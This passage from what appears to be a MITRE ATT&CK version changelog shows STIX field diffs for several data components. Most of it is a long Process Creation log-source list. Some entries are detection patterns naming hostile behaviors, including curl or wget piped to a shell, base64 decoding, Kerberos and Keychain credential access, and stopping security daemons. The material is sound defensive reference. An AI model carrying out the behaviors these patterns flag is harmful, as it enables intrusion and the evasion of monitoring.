KernelCallbackTable addresses'}, {'name': 'EDR:file', 'channel': 'SetFileTime'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e8b8ede7-337b-4c0c-8c32-5c7872c1ee22

values_changed
STIX Field	Old value	New Value
modified	2025-04-18 15:10:31.145000+00:00	2025-10-21 15:14:36.999000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.1	2.0

[DC0116] Permissions Request

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0116', 'external_id': 'DC0116'}]
x_mitre_log_sources		[{'name': 'User Interface', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--55ba7d30-887f-42c1-a24e-c4e90aff24b8

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:21.873000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0114] Permissions Requests

Current version: 2.0

Version changed from: 1.0 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/datacomponents/DC0114', 'external_id': 'DC0114'}]
x_mitre_log_sources		[{'name': 'Application Vetting', 'channel': 'None'}]

dictionary_item_removed
STIX Field	Old value	New Value
x_mitre_data_source_ref	x-mitre-data-source--e156f007-c5bf-45cc-8dd5-d442ffb0d203

values_changed
STIX Field	Old value	New Value
modified	2025-04-16 21:22:21.394000+00:00	2025-10-21 15:10:28.402000+00:00
x_mitre_attack_spec_version	3.2.0	3.3.0
x_mitre_version	1.0	2.0

[DC0032] Process Creation

Current version: 2.0

Version changed from: 1.2 → 2.0

Details

dictionary_item_added
STIX Field	Old value	New Value
external_references		[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/data-components/DC0032', 'external_id': 'DC0032'}]
x_mitre_log_sources		[{'name': 'Process', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': "log stream 'eventMessage contains pubsub or broker'"}, {'name': 'WinEventLog:Sysmon', 'channel': 'EventCode=1'}, {'name': 'linux:osquery', 'channel': 'Execution of binary resolved from $PATH not located in /usr/bin or /bin'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution path inconsistent with baseline PATH directories'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'WinEventLog:Security', 'channel': 'EventCode=4688'}, {'name': 'linux:osquery', 'channel': 'process_events'}, {'name': 'macos:endpointsecurity', 'channel': 'exec'}, {'name': 'macos:osquery', 'channel': 'processes'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl with suspicious arguments'}, {'name': 'auditd:SYSCALL', 'channel': 'execve network tools'}, {'name': 'macos:osquery', 'channel': 'process_events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls to soffice.bin with suspicious macro execution flags'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution of Microsoft Word, Excel, PowerPoint with macro execution attempts'}, {'name': 'macos:osquery', 'channel': 'process reading browser configuration paths'}, {'name': 'macos:unifiedlog', 'channel': 'exec logs'}, {'name': 'auditd:EXECVE', 'channel': 'execve: Processes launched with LD_PRELOAD/LD_LIBRARY_PATH pointing to non-system dirs'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Process execution context for loaders calling dlopen/dlsym'}, {'name': 'auditd:EXECVE', 'channel': 'EXECVE'}, {'name': 'auditd:EXECVE', 'channel': 'execution of unexpected binaries during user shell startup'}, {'name': 'macos:unifiedlog', 'channel': 'launch of Terminal.app or shell with non-standard environment setup'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC with unusual parent-child process relationships from zsh'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of systemctl or service stop'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of launchctl or pkill'}, {'name': 'macos:unifiedlog', 'channel': 'process::exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of klist, kinit, or tools interacting with ccache outside normal user context'}, {'name': 'macos:osquery', 'channel': 'Execution of non-standard binaries accessing Kerberos APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Electron-based binary spawning shell or script interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'Electron app spawning unexpected child process'}, {'name': 'esxi:shell', 'channel': '/root/.ash_history or /etc/init.d/'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls with high-frequency or known bandwidth-intensive tools'}, {'name': 'macos:unifiedlog', 'channel': 'exec or spawn calls to proxy tools or torrent clients'}, {'name': 'containers:osquery', 'channel': 'bandwidth-intensive command execution from within a container namespace'}, {'name': 'macos:unifiedlog', 'channel': 'process launch'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'subsystem == "com.apple.cfprefsd"\''}, {'name': 'macos:unifiedlog', 'channel': 'execution of security, sqlite3, or unauthorized binaries'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected applications generating outbound DNS queries'}, {'name': 'linux:Sysmon', 'channel': 'EventCode=1'}, {'name': 'macos:osquery', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected child process of Safari or Chrome'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or syscall invoking vm artifact check commands (e.g., dmidecode, lspci, dmesg)'}, {'name': 'macos:unifiedlog', 'channel': 'execution of system_profiler, ioreg, kextstat with argument patterns related to VM/sandbox checks'}, {'name': 'macos:unifiedlog', 'channel': 'process writes or modifies files in excluded paths'}, {'name': 'macos:unifiedlog', 'channel': 'process'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.mail. exec.'}, {'name': 'macos:unifiedlog', 'channel': 'execution of memory inspection tools (lldb, gdb, osqueryi)'}, {'name': 'esxi:vobd', 'channel': '/var/log/vobd.log'}, {'name': 'kubernetes:apiserver', 'channel': 'kubectl exec or kubelet API calls targeting running pods'}, {'name': 'docker:audit', 'channel': 'Process execution events within container namespace context'}, {'name': 'auditd:SYSCALL', 'channel': 'process persists beyond parent shell termination'}, {'name': 'macos:unifiedlog', 'channel': 'background process persists beyond user logout'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries sourced from mail directories (/var/mail, ~/Maildir)'}, {'name': 'macos:unifiedlog', 'channel': 'Preview.app, Safari.app, or Mail.app spawning new processes outside normal patterns'}, {'name': 'esxi:hostd', 'channel': 'process execution across cloud VM'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl spawning managed processes'}, {'name': 'macos:unifiedlog', 'channel': 'None'}, {'name': 'esxi:shell', 'channel': '/var/log/shell.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes linked to hijacked sessions (e.g., anomalous parent-child process lineage)'}, {'name': 'macos:unifiedlog', 'channel': 'exec events where web process starts a shell/tooling'}, {'name': 'docker:events', 'channel': 'Docker/Kubernetes audit of exec/attach (kubectl exec) or unexpected child processes inside container'}, {'name': 'macos:unifiedlog', 'channel': 'exec of osascript, bash, curl with suspicious parameters'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of container management CLIs (docker, crictl, kubectl) or interpreted shells (sh, bash, python) within container context'}, {'name': 'macos:endpointsecurity', 'channel': 'es_event_exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of discovery commands targeting backup binaries, processes, or config paths'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution logs showing discovery commands like mdfind, system_profiler, or launchctl list'}, {'name': 'macos:osquery', 'channel': 'process_events OR launchd'}, {'name': 'auditd:EXECVE', 'channel': 'execve'}, {'name': 'macos:osquery', 'channel': 'launchd or process_events'}, {'name': 'macos:unifiedlog', 'channel': 'process and file events via log stream'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of scripts or binaries spawned from browser processes'}, {'name': 'macos:unifiedlog', 'channel': 'Browser processes launching unexpected interpreters (osascript, bash)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of defaults, plutil, or common editors (vim/nano) targeting plist files'}, {'name': 'auditd:SYSCALL', 'channel': 'EXECVE'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of bash, python, or perl processes spawned by browser/email client'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of osascript, bash, or Terminal initiated from Mail.app or Safari'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of /bin/sh,/bin/bash,/usr/bin/curl,/usr/bin/python by service accounts (e.g., apache, mysql, nobody) immediately after inbound network activity.'}, {'name': 'macos:osquery', 'channel': "parent_name in ('sshd','httpd','screensharingd') spawning shells or scripting runtimes."}, {'name': 'macos:unifiedlog', 'channel': 'process activity stream'}, {'name': 'auditd:SYSCALL', 'channel': 'SYSCALL record where exe contains passwd/userdel/chage and auid != root'}, {'name': 'macos:unifiedlog', 'channel': 'Post-login execution of unrecognized child process from launchd or loginwindow'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of base64\|openssl\|xxd\|python\|perl with arguments matching Base64 flags'}, {'name': 'macos:unifiedlog', 'channel': 'process command line contains base64, -enc, openssl enc -base64'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: arguments contain Base64-like strings'}, {'name': 'esxi:shell', 'channel': 'commands containing base64, openssl enc -base64, xxd -p'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process launched via loginwindow session restore'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec + filewrite: ~/.ssh/authorized_keys'}, {'name': 'containerd:runtime', 'channel': '/var/log/containers/.log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Java apps or other processes with hidden window attributes'}, {'name': 'macos:unifiedlog', 'channel': 'Process Execution'}, {'name': 'auditd:SYSCALL', 'channel': 'execve on code or jetbrains-gateway with remote flags'}, {'name': 'macos:unifiedlog', 'channel': 'process: code or jetbrains-gateway launching with --tunnel or --remote'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'processImagePath CONTAINS "curl" OR "osascript"\''}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, wipe targeting block devices'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of sleep or ping command within script interpreted by bash/python'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or socket/connect system calls from processes using crypto libraries'}, {'name': 'macos:unifiedlog', 'channel': 'Process using AES/RC4 routines unexpectedly'}, {'name': 'linux:osquery', 'channel': 'execution of known firewall binaries'}, {'name': 'auditd:SYSCALL', 'channel': 'type=EXECVE or SYSCALL for /bin/date, /usr/bin/timedatectl, /sbin/hwclock, /bin/cat /etc/timezone, /bin/cat /proc/uptime'}, {'name': 'linux:osquery', 'channel': "execve: command like 'date', 'timedatectl', 'hwclock', 'cat /etc/timezone'"}, {'name': 'macos:unifiedlog', 'channel': 'process exec events of systemsetup, date, ioreg with command_line parameters indicating time discovery'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: binary == "/usr/sbin/systemsetup" and args contains "-gettimezone"'}, {'name': 'macos:osquery', 'channel': "execve: command LIKE '%systemsetup -gettimezone%' OR '%date%'"}, {'name': 'macos:unifiedlog', 'channel': 'execution of osascript, curl, or unexpected automation'}, {'name': 'macos:unifiedlog', 'channel': 'exec /usr/bin/pwpolicy'}, {'name': 'auditd:SYSCALL', 'channel': 'socket(AF_PACKET\|AF_INET, SOCK_RAW, ), setsockopt(… SO_ATTACH_FILTER\|SO_ATTACH_BPF …), bpf(cmd=BPF_PROG_LOAD), open/openat path="/dev/bpf" (BSD/macOS-like) or setcap cap_net_raw.'}, {'name': 'linux:syslog', 'channel': 'KERN messages about eBPF program load/verify or LSM denials related to bpf.'}, {'name': 'OpenBSM:AuditTrail', 'channel': 'open/openat of /dev/bpf; ioctl BIOCSETF-like operations.'}, {'name': 'macos:unifiedlog', 'channel': 'Exec of tcpdump, rvictl, custom tools linked to libpcap.A.dylib; sysextd/systemextensionsctl events for NetworkExtension content filters.'}, {'name': 'auditd:EXECVE', 'channel': '/usr/sbin/postfix, /usr/sbin/exim, /usr/sbin/sendmail'}, {'name': 'auditd:SYSCALL', 'channel': 'execution of known flash tools (e.g., flashrom, fwupd)'}, {'name': 'macos:unifiedlog', 'channel': 'com.apple.firmwareupdater activity or update-firmware binary invoked'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of system tools like dmidecode, lspci, lscpu, dmesg, systemd-detect-virt'}, {'name': 'macos:unifiedlog', 'channel': "exec or spawn of 'system_profiler', 'ioreg', 'kextstat', 'sysctl', or calls to sysctl API"}, {'name': 'macos:endpointSecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Suspicious binaries or scripts interacting with authentication binaries (sshd, gdm, login)'}, {'name': 'macos:osquery', 'channel': 'execve: Processes unexpectedly invoking Keychain or authentication APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve calls where a browser/webview process is parent and child is interpreter (python, sh, ruby) or downloader (curl, wget)'}, {'name': 'macos:unifiedlog', 'channel': 'process_create: Process creation where parent is Safari/Google Chrome and child is script interpreter or signed-but-unusual helper binary'}, {'name': 'auditd:EXECVE', 'channel': 'None'}, {'name': 'macos:unifiedlog', 'channel': 'process:launch'}, {'name': 'auditd:EXECVE', 'channel': 'Shell commands invoked by SQL process such as postgres, mysqld, or mariadbd'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of smbclient, smbmap, rpcclient, nmblookup, crackmapexec smb'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: Process execution of "sharing -l", "smbutil view", "mount_smbfs"'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of scp, rsync, curl with remote destination'}, {'name': 'macos:unifiedlog', 'channel': 'logMessage contains pbpaste or osascript'}, {'name': 'auditd:SYSCALL', 'channel': 'execve call with argv matching known disk enumeration commands (lsblk, parted, fdisk)'}, {'name': 'macos:unifiedlog', 'channel': 'process launch of diskutil or system_profiler with SPStorageDataType'}, {'name': 'esxi:hostd', 'channel': "execution of esxcli with args matching 'storage', 'filesystem', 'core device list'"}, {'name': 'macos:unifiedlog', 'channel': 'Mail.app executing with parameters updating rules state'}, {'name': 'esxi:shell', 'channel': '/var/log/vmkernel.log, /var/log/vmkwarning.log'}, {'name': 'macos:endpointsecurity', 'channel': 'exec: Exec of ffmpeg, avfoundation-based binaries, or custom signed apps accessing camera'}, {'name': 'kubernetes:apiserver', 'channel': 'exec into pod followed by secret retrieval via API'}, {'name': 'macos:unifiedlog', 'channel': 'process_name IN ("VBoxManage", "prlctl") AND command CONTAINS ("list", "show")'}, {'name': 'macos:unifiedlog', 'channel': 'exec srm\|exec openssl\|exec gpg'}, {'name': 'linux:osquery', 'channel': 'Process execution with LD_PRELOAD or modified library path'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'linux:Sysmon', 'channel': 'process creation events linked to container namespaces executing host-level binaries'}, {'name': 'WinEventlog:Security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'process and signing chain events'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices events for misleading extensions'}, {'name': 'fs:fsusage', 'channel': 'Execution of disguised binaries'}, {'name': 'linux:osquery', 'channel': 'process listening or connecting on non-standard ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchd services binding to non-standard ports'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, connect'}, {'name': 'esxi:cron', 'channel': 'process or cron activity'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binaries with unsigned or anomalously signed certificates'}, {'name': 'auditd:SYSCALL', 'channel': 'execve logging for /usr/bin/systemctl and systemd-run'}, {'name': 'macos:osquery', 'channel': 'Invocation of osascript or dylib injection'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of files saved in mail or download directories'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Terminal, osascript, or other interpreters originating from Mail or Preview'}, {'name': 'macos:unifiedlog', 'channel': 'process events'}, {'name': 'linux:syslog', 'channel': 'Unauthorized sudo or shell access, especially leading to file changes in /var/www or /srv/http'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of unexpected terminal or web scripts modifying /Library/WebServer/Documents'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of CLI tools like psql, mysql, mongo, sqlite3'}, {'name': 'macos:unifiedlog', 'channel': 'Process start of Java or native DB client tools'}, {'name': 'macos:unifiedlog', 'channel': 'loginwindow or tccd-related entries'}, {'name': 'macos:osquery', 'channel': 'query: process_events, launchd, and tcc.db access'}, {'name': 'ebpf:syscalls', 'channel': 'process execution or network connect from just-created container PID namespace'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of pip, npm, gem, or similar package managers'}, {'name': 'macos:unifiedlog', 'channel': 'Command line invocation of pip3, brew install, npm install from interactive Terminal'}, {'name': 'auditd:SYSCALL', 'channel': 'fork/exec of service via PID 1 (systemd)'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of ssh/scp/sftp without corresponding authentication log'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ssh or sftp without corresponding login event'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: execve where exe=/usr/bin/python3 or similar interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'launch of remote desktop app or helper binary'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes making network calls based on DNS-derived ports'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl spawning new processes'}, {'name': 'macos:unifiedlog', 'channel': 'launchctl activity and process creation'}, {'name': 'containerd:events', 'channel': 'New container with suspicious image name or high resource usage'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of Python, Swift, or other binaries invoking archiving libraries'}, {'name': 'linux:osquery', 'channel': 'Processes linked with libssl or crypto libraries making outbound connections'}, {'name': 'macos:unifiedlog', 'channel': 'Process invoking SSL routines from Security framework'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of binaries located in /etc/init.d/ or systemd service paths'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of binary listed in newly modified LaunchAgent plist'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of bless or nvram modifying boot parameters'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected processes registered with launchd'}, {'name': 'macos:unifiedlog', 'channel': 'Process launch'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, osascript, or unexpected Office processes'}, {'name': 'macos:osquery', 'channel': 'exec'}, {'name': 'macos:unifiedlog', 'channel': 'Trust validation failures or bypass attempts during notarization and code signing checks'}, {'name': 'esxi:vmkernel', 'channel': 'spawned shell or execution environment activity'}, {'name': 'macos:unifiedlog', 'channel': 'process_exec: image in {/bin/bash,/bin/zsh,/usr/bin/osascript,/usr/bin/python,/usr/bin/curl,/usr/bin/ssh,/usr/bin/open} AND parent in {Preview, TextEdit, Microsoft Word, Microsoft Excel, AdobeReader, Archive Utility, Finder}'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: exe in {/bin/bash,/bin/sh,/usr/bin/python,/usr/bin/perl,/usr/bin/php,/usr/bin/node,/usr/bin/curl,/usr/bin/wget,/usr/bin/xdg-open,/usr/bin/ssh,/usr/bin/rundll32 (wine)} AND ppid process is a document viewer/browser'}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd/sgdisk with arguments writing to sector 0 or partition table'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of zip, ditto, hdiutil, or openssl by processes not normally associated with archiving'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with unusual parameters or targets'}, {'name': 'm365:defender', 'channel': 'AdvancedHunting(DeviceEvents, ProcessCreate, ImageLoad, AMSI/ETW derived signals)'}, {'name': 'macos:unifiedlog', 'channel': 'execve or dylib load from memory without backing file'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands that alter firewall or start listeners: iptables\|nft\|ufw\|firewall-cmd\|pfctl\|systemctl start sshd/telnet/dropbear; raw-socket/libpcap tools (tcpdump, tshark, nmap --raw).'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of pfctl, socketfilterfw, launchctl start ssh/telnet, libpcap consumers.'}, {'name': 'esxi:shell', 'channel': 'Shell Execution'}, {'name': 'macos:unifiedlog', 'channel': 'Unusual child process tree indicating attempted recovery after crash'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of binaries/scripts presenting false health messages for security daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of processes mimicking Apple Security & Privacy GUIs'}, {'name': 'WinEventLog:Microsoft-Windows-Security-Auditing', 'channel': 'EventCode=4688'}, {'name': 'auditd:SYSCALL', 'channel': 'execve, setifflags'}, {'name': 'macos:osquery', 'channel': "process_events where path like '%tcpdump%'"}, {'name': 'auditd:EXECVE', 'channel': 'Execution of dd, shred, or wipe with arguments targeting block devices'}, {'name': 'auditd:EXECVE', 'channel': 'systemctl stop auditd, kill -9 , or modifications to /etc/selinux/config'}, {'name': 'macos:unifiedlog', 'channel': 'execution of curl, git, or Office processes with network connections'}, {'name': 'macos:unifiedlog', 'channel': 'log stream - process subsystem'}, {'name': 'auditd:SYSCALL', 'channel': 'execve calls for qemu-system, kvm, or VBoxHeadless'}, {'name': 'macos:unifiedlog', 'channel': 'Process execution for VBoxHeadless, prl_vm_app, vmware-vmx'}, {'name': 'macos:unifiedlog', 'channel': 'process logs'}, {'name': 'esxi:shell', 'channel': 'None'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of interpreters (python, perl), custom binaries, or shell utilities with long arguments containing non-standard tokens'}, {'name': 'macos:endpointsecurity', 'channel': 'ES_EVENT_TYPE_NOTIFY_EXEC: arguments contain long, non-standard tokens / custom alphabets'}, {'name': 'macos:unifiedlog', 'channel': 'command line or log output shows non-standard encoding routines'}, {'name': 'esxi:shell', 'channel': 'commands containing long non-standard tokens or custom lookup tables'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/sbin/installer spawning child process from within /private/tmp or package contents'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg or rpm followed by fork/execve from within postinst, prerm, etc.'}, {'name': 'macos:unifiedlog', 'channel': 'execve: Helper tools invoked through XPC executing unexpected binaries'}, {'name': 'macos:unifiedlog', 'channel': 'execution of modified binary without valid signature'}, {'name': 'auditd:SYSCALL', 'channel': "execve: exe in (/usr/bin/bash,/usr/bin/sh,/usr/bin/zsh,/usr/bin/python) AND cmdline matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64\\s-d\|python\\s-c'"}, {'name': 'macos:unifiedlog', 'channel': "exec: ParentImage in (Terminal, iTerm2) AND Image in (/bin/zsh,/bin/bash,/usr/bin/python) AND CommandLine matches '(curl\|wget).(\\\|\|\\\|\\ssh\|bash)\|base64 -D\|python -c'"}, {'name': 'macos:unifiedlog', 'channel': 'process created with repeated ICMP or UDP flood behavior'}, {'name': 'fs:fsusage', 'channel': 'binary execution of security_authtrampoline'}, {'name': 'macos:unifiedlog', 'channel': 'process: exec'}, {'name': 'esxi:vmkernel', 'channel': 'Exec'}, {'name': 'macos:unifiedlog', 'channel': 'Child processes of Safari, Chrome, or Firefox executing scripting interpreters'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of older or non-standard interpreters'}, {'name': 'linux:osquery', 'channel': 'process execution events for permission modification utilities with command-line analysis'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for chmod, chown, chflags with parameter analysis and target path examination'}, {'name': 'macos:osquery', 'channel': 'process execution monitoring for permission modification utilities with command-line argument analysis'}, {'name': 'auditd:SYSCALL', 'channel': 'Invocation of packet generation tools (e.g., hping3, nping) or fork bombs'}, {'name': 'macos:osquery', 'channel': 'Execution of flooding tools or compiled packet generators'}, {'name': 'esxi:hostd', 'channel': 'process'}, {'name': 'auditd:SYSCALL', 'channel': 'execve for proxy tools'}, {'name': 'macos:unifiedlog', 'channel': 'process, socket, and DNS logs'}, {'name': 'macos:osquery', 'channel': 'process_events table'}, {'name': 'macos:unifiedlog', 'channel': "Command line containing `trap` or `echo 'trap` written to login shell files"}, {'name': 'macos:unifiedlog', 'channel': 'log collect --predicate'}, {'name': 'auditd:SYSCALL', 'channel': 'execve or nanosleep with no stdout/stderr I/O'}, {'name': 'macos:unifiedlog', 'channel': 'launchd or osascript spawns process with delay command'}, {'name': 'linux:syslog', 'channel': 'systemd-udevd spawning user-defined action from RUN+='}, {'name': 'ebpf:syscalls', 'channel': 'execve'}, {'name': 'macos:unifiedlog', 'channel': 'process:spawn'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --predicate \'eventMessage contains "exec"\''}, {'name': 'auditd:EXECVE', 'channel': 'cat\|less\|grep accessing .bash_history from a non-shell process'}, {'name': 'auditd:EXECVE', 'channel': 'Process execution via .desktop Exec path from /etc/xdg/autostart or ~/.config/autostart'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of dpkg, rpm, or other package manager with list flag'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of system_profiler or osascript invoking enumeration'}, {'name': 'auditd:SYSCALL', 'channel': 'apache2 or nginx spawning sh, bash, or python interpreter'}, {'name': 'macos:unifiedlog', 'channel': 'httpd spawning bash, zsh, python, or osascript'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of /usr/libexec/security_authtrampoline or child processes originating from non-trusted binaries triggering credential prompts'}, {'name': 'macos:unifiedlog', 'channel': 'execution of security or osascript'}, {'name': 'WinEventLog:security', 'channel': 'EventCode=4688'}, {'name': 'macos:unifiedlog', 'channel': 'launchd spawning processes tied to new or modified LaunchDaemon .plist entries'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of ping, nping, or crafted network packets via bash or python to reflection services'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Execution of commands modifying iptables/nftables to block selective IPs'}, {'name': 'macos:unifiedlog', 'channel': 'System process modifications altering DNS/proxy settings'}, {'name': 'containerd:Events', 'channel': 'unusual process spawned from container image context'}, {'name': 'macos:osquery', 'channel': 'curl, python scripts, rsync with internal share URLs'}, {'name': 'macos:unifiedlog', 'channel': 'process: spawn, exec'}, {'name': 'macos:osquery', 'channel': 'Rapid spawning of resource-heavy applications (e.g., Preview, Safari, Office)'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation events where command line = pmset with arguments affecting sleep, hibernatemode, displaysleep'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps performing repeated DNS lookups'}, {'name': 'macos:unifiedlog', 'channel': 'launchservices or loginwindow events'}, {'name': 'auditd:SYSCALL', 'channel': 'execve with LD_PRELOAD or linker-related environment variables set'}, {'name': 'macos:unifiedlog', 'channel': 'execution of process with DYLD_INSERT_LIBRARIES set'}, {'name': 'macos:unifiedlog', 'channel': 'Suspicious Swift/Objective-C or scripting processes writing archive-like outputs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve of re-parented process'}, {'name': 'linux:osquery', 'channel': 'Anomalous parent PID change'}, {'name': 'macos:unifiedlog', 'channel': 'Process creation with parent PID of 1 (launchd)'}, {'name': 'linux:osquery', 'channel': 'child process invoking dynamic linker post-ptrace'}, {'name': 'macos:osquery', 'channel': 'Processes executing kextload, spctl, or modifying kernel extension directories'}, {'name': 'macos:osquery', 'channel': 'Unsigned or ad-hoc signed process executions in user contexts'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of diskutil or hdiutil attaching hidden partitions'}, {'name': 'macos:unifiedlog', 'channel': 'process execution events for discovery utilities (system_profiler, sw_vers, dscl, networksetup) with command-line parameter analysis'}, {'name': 'macos:osquery', 'channel': 'process event monitoring with focus on discovery utilities and cryptographic framework usage correlation'}, {'name': 'macos:unifiedlog', 'channel': 'Unexpected apps generating frequent DNS queries'}, {'name': 'macos:unifiedlog', 'channel': 'process exec'}, {'name': 'auditd:SYSCALL', 'channel': 'socket: Suspicious creation of AF_UNIX sockets outside expected daemons'}, {'name': 'macos:unifiedlog', 'channel': 'Non-standard processes invoking financial applications or payment APIs'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Agent/headless flags (listen/connect/reverse/tunnel) or remote-control binaries spawning shells'}, {'name': 'auditd:SYSCALL', 'channel': 'systemctl enable/start: Creation/enablement of custom .service units in /etc/systemd/system'}, {'name': 'macos:unifiedlog', 'channel': 'Process exec of remote-control apps or binaries with headless/connect flags'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: systemctl stop, service stop, or kill -9 on security daemons (e.g., falcon-sensor, auditd)'}, {'name': 'macos:unifiedlog', 'channel': 'Execution of launchctl unload, kill, or removal of security agent daemons'}, {'name': 'macos:unifiedlog', 'channel': 'process activity, exec events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream process subsystem'}, {'name': 'macos:unifiedlog', 'channel': 'process:exec and kext load events'}, {'name': 'macos:unifiedlog', 'channel': 'log stream --info --predicate \'eventMessage CONTAINS "exec"\''}, {'name': 'WinEventLog:Microsoft-Windows-DotNETRuntime', 'channel': 'Unexpected AppDomain creation events or anomalous AppDomainManager assembly load behavior'}, {'name': 'auditd:SYSCALL', 'channel': 'Execution of network stress tools or anomalies in socket/syscall behavior'}, {'name': 'macos:unifiedlog', 'channel': 'Unsigned binary execution following SIP change'}, {'name': 'auditd:SYSCALL', 'channel': 'execve: Commands altering firewall or enabling listeners (iptables, nft, ufw, firewall-cmd, systemctl start ssh/telnet, ip route add, tcpdump, tshark)'}, {'name': 'macos:unifiedlog', 'channel': 'exec: Execution of /sbin/pfctl, 